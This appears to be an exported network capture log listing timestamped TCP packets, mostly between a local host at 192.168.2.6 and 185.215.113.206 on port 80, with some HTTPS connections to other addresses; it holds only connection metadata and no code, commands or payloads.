Nov 28, 2024 00:19:47.636835098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.636868954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.636909008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.637231112 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:47.637271881 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:47.637337923 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:47.637648106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.637651920 CET	49879	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:47.637669086 CET	443	49879	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:47.637696028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.637729883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.638139963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.638474941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.638518095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.638644934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.638688087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.639250994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.639302015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.639378071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.639525890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.640099049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.640150070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.640193939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.640233994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.640950918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.641005993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.641051054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.641133070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.641753912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.641834021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.641868114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.641904116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.642550945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.642599106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.642616034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.642652035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.643383026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.643430948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.643495083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.643560886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.644206047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.644289017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.644306898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.644345045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.645052910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.645117044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.645198107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.645235062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.645875931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.645931959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.645967007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.646003962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.646737099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.646781921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.646800041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.646823883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.647517920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.647573948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.647598982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.647633076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.648338079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.648394108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.648452044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.648592949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.649172068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.649226904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.649344921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.649405956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.649991989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.650039911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.650146961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.650187969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.650796890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.650851965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.679328918 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.757289886 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:47.757328987 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:47.757621050 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:47.758394957 CET	49881	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:47.758436918 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:47.758507013 CET	49881	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:47.759697914 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:47.759713888 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:47.760209084 CET	49881	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:47.760224104 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:47.763412952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.763468981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.763525009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.763731003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.763817072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.763902903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.763958931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.764023066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.764451027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.764508009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.764548063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.764594078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.765300035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.765340090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.765372992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.765389919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.765954018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.766012907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.766093016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.766132116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.766566038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.766613007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.766679049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.766740084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.767090082 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.767370939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.767502069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.767503023 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:47.767517090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.767525911 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.767549992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.767887115 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.768196106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.768238068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.768321991 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:47.768394947 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.768477917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.768673897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.768728018 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:47.769047022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.769098043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.769103050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.769140959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.769856930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.769932985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.769942045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.770020962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.770661116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.770730019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.770773888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.770813942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.771497965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.771543980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.771631002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.771732092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.772315979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.772367954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.772429943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.772617102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.773133993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.773212910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.773253918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.773303032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.773991108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.774144888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.774283886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.774322987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.774832010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.774919033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.774945021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.774964094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.775634050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.775676012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.775684118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.775722027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.776467085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.776504993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.776587963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.776632071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.777311087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.777365923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.778609037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.778620005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.778633118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.778676987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.778717041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.778943062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.778980970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.779012918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.779088974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.779799938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.779845953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.779937983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.779974937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.780592918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.780648947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.780688047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.780725956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.781418085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.781478882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.781518936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.781606913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.782320976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.782382011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.782397985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.782438040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.783134937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.783189058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.783225060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.783265114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.783900976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.783946037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.783978939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.784015894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.784714937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.784776926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.795433044 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.795517921 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.795566082 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.811342955 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.840408087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.840462923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.840502024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.840538025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.840773106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.840826035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.840862989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.840900898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.841464996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.841531992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.841662884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.841711998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.842253923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.842314005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.842371941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.842447996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.843063116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.843122005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.843184948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.843229055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.843935966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.843981981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.844052076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.844188929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.844783068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.844825983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.845055103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.845101118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.845581055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.845648050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.845683098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.845724106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.846365929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.846426964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.846441984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.846481085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.847232103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.847291946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.847402096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.847497940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.848026991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.848136902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.848156929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.848185062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.848860979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.848905087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.848916054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.848963976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.849683046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.849723101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.849848032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.849889994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.850495100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.850547075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.850569963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.850603104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.851346016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.851408005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.851416111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.851461887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.852150917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.852200031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.852241039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.852349997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.852998972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.853039980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.853151083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.853230000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.853810072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.853919983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.853941917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.853955030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.854638100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.854681969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.854722977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.854765892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.855453014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.855534077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.855567932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.855609894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.856319904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.856365919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.856538057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.856584072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.857203007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.857249022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.857302904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.857350111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.857938051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.857994080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.858057976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.858155966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.858776093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.858824015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.859086990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.859131098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.859644890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.859716892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.859741926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.859812021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.860445976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.860491037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.860954046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.861011028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.861226082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.861304045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.861358881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.862473965 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.862498045 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.862515926 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.862521887 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.880754948 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.880780935 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.880845070 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.893512964 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.893529892 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.933193922 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:47.933245897 CET	443	49883	2.16.158.56	192.168.2.6
Nov 28, 2024 00:19:47.933322906 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:47.937129974 CET	49883	443	192.168.2.6	2.16.158.56
Nov 28, 2024 00:19:47.937151909 CET	443	49883	2.16.158.56	192.168.2.6
Nov 28, 2024 00:19:47.973913908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.973993063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.974016905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.974066973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.974416971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.974430084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.974452019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.974471092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.974957943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.975025892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.975028992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.975064039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.975775003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.975872040 CET	80	49794	185.215.113.206	192.168.2.6
